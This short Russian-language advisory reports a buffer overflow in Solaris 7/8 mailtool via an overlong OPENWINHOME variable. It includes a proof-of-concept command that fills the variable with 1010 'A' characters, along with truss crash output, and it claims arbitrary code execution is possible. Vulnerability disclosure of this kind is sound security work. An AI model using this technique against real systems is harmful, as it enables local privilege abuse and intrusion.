Сегодня, различными источниками была обнаружена возможность
переполнения буфера в SUN Solaris.
Переполнение буфера в Solaris связано с программой
mailtool. Mailtool - установленная по умолчанию программа для почты в Solaris, в ней возможно переполнение буфера в переменной OPENWINHOME. Если эта переменная превышает
определенную длину, то возникает переполнение буфера,
крэш программы. Длинный специфический буфер может содержать исполняемый код, который дает возможность исполнить произвольную команду:
bash-2.03# export OPENWINHOME=`perl -e 'print "A"x1010'`
bash-2.03# mailtool
Segmentation Fault
`truss` output:
Incurred fault #6, FLTBOUNDS %pc = 0xDF8BD448
siginfo: SIGSEGV SEGV_MAPERR addr=0x4141414D
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x4141414D
Дырка работает в Solaris 7/8.